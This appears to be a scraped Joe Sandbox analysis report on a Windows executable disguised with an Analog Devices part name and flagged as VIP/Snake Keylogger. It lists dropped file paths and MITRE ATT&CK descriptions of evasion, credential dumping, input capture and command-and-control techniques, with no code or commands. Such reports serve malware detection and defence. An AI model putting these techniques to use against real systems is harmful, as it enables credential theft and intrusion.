Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\adsp-21593bbpz10 analog devices, inc. 5000.exe .log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cmsys[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cmsys[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\what-happened-to-the-old-zxq-website[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_myrqqk3p.ihb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sww4vmne.q04.ps1

Windows Analysis Report
ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre